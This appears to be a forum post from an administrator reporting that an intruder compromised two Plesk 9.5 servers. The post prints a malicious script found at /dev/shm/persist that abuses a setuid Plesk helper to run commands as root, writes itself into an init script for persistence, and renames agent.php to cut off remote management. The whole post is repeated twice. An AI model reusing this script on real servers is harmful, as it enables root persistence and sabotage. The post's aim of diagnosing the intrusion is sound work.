Facebook
TwitterThe problem occured at the same time in two servers:
CentOS 5.8 x86_64
Plesk 9.5.4 MU17
We had applied patches to fix Plesk's vulnerability (days ago, before the new problem occurred):
# php -d safe_mode=0 plesk_remote_vulnerability_checker.php
The patch has been successfully applied.
Suddenly PBAs lost connection to both servers. We checked everything (firewall, admin passwords, etc) and everything was fine.
Finally, we ran rkhunter (it runs everyday and in the morning there was not any problem) and it found in both servers suspicious file:
/dev/shm/persist
Here are all the results:
-------------------------------------------
# ls -alh /dev/shm/persist
-rw-r--r-- 1 psaadm sw-cp-server 752 Mar 15 16:12 /dev/shm/persist
# cat /dev/shm/persist
#!/bin/bash
export PATHS="/opt/psa/bin /opt/psa/admin/bin /usr/local/psa/admin/bin /usr/local/psa/bin"
export MYSUDO=""
for n in $PATHS; do export MYSUDO="$MYSUDO $(ls $n/sw-engine-psa $n/sw-engine-plesk 2>/dev/null)";done
for n in $MYSUDO; do test -u $n && export MYSUDO=$n;done
export PSAD=""
for n in $PATHS; do export PSAD="$PSAD $(ls $n/psadmd $n/psadmind 2>/dev/null)";done
for PSADMD in $PSAD;do $MYSUDO "sed -i \"/daemon_name=sw-cp-serverd/a $PSADMD 2> \/dev\/null;\" /etc/init.d/psa";$MYSUDO $PSADMD;done
$MYSUDO 'mv /opt/psa/admin/htdocs/enterprise/control/agent.php /opt/psa/admin/htdocs/enterprise/control/old.php'
$MYSUDO 'mv /usr/local/psa/admin/htdocs/enterprise/control/agent.php /usr/local/psa/admin/htdocs/enterprise/control/old.php'
# ls -alh /usr/local/psa/admin/htdocs/enterprise/control/
total 40K
drwxr-xr-x 3 root psaadm 4.0K Mar 15 16:07 .
drwxr-xr-x 3 root psaadm 4.0K Aug 1 2011 ..
-rw-r--r-- 1 root psaadm 6.7K Dec 9 2010 info.php
-rwxr-xr-x 1 root root 2.5K Jun 30 2011 old.php
drwxr-xr-x 2 root root 4.0K Mar 6 22:12 psa
-rw-r--r-- 1 root psaadm 4.7K Dec 9 2010 status.php
-------------------------------------------
I removed file /dev/shm/persist, moved file 'old.php' back to 'agent.php' and rebooted the servers. Then PBAs was able to connect to those servers.
Is this a new vulnerability of Plesk?
Is there any patch?
CentOS 5.8 x86_64
Plesk 9.5.4 MU17
We had applied patches to fix Plesk's vulnerability (days ago, before the new problem occurred):
# php -d safe_mode=0 plesk_remote_vulnerability_checker.php
The patch has been successfully applied.
Suddenly PBAs lost connection to both servers. We checked everything (firewall, admin passwords, etc) and everything was fine.
Finally, we ran rkhunter (it runs everyday and in the morning there was not any problem) and it found in both servers suspicious file:
/dev/shm/persist
Here are all the results:
-------------------------------------------
# ls -alh /dev/shm/persist
-rw-r--r-- 1 psaadm sw-cp-server 752 Mar 15 16:12 /dev/shm/persist
# cat /dev/shm/persist
#!/bin/bash
export PATHS="/opt/psa/bin /opt/psa/admin/bin /usr/local/psa/admin/bin /usr/local/psa/bin"
export MYSUDO=""
for n in $PATHS; do export MYSUDO="$MYSUDO $(ls $n/sw-engine-psa $n/sw-engine-plesk 2>/dev/null)";done
for n in $MYSUDO; do test -u $n && export MYSUDO=$n;done
export PSAD=""
for n in $PATHS; do export PSAD="$PSAD $(ls $n/psadmd $n/psadmind 2>/dev/null)";done
for PSADMD in $PSAD;do $MYSUDO "sed -i \"/daemon_name=sw-cp-serverd/a $PSADMD 2> \/dev\/null;\" /etc/init.d/psa";$MYSUDO $PSADMD;done
$MYSUDO 'mv /opt/psa/admin/htdocs/enterprise/control/agent.php /opt/psa/admin/htdocs/enterprise/control/old.php'
$MYSUDO 'mv /usr/local/psa/admin/htdocs/enterprise/control/agent.php /usr/local/psa/admin/htdocs/enterprise/control/old.php'
# ls -alh /usr/local/psa/admin/htdocs/enterprise/control/
total 40K
drwxr-xr-x 3 root psaadm 4.0K Mar 15 16:07 .
drwxr-xr-x 3 root psaadm 4.0K Aug 1 2011 ..
-rw-r--r-- 1 root psaadm 6.7K Dec 9 2010 info.php
-rwxr-xr-x 1 root root 2.5K Jun 30 2011 old.php
drwxr-xr-x 2 root root 4.0K Mar 6 22:12 psa
-rw-r--r-- 1 root psaadm 4.7K Dec 9 2010 status.php
-------------------------------------------
I removed file /dev/shm/persist, moved file 'old.php' back to 'agent.php' and rebooted the servers. Then PBAs was able to connect to those servers.
Is this a new vulnerability of Plesk?
Is there any patch?
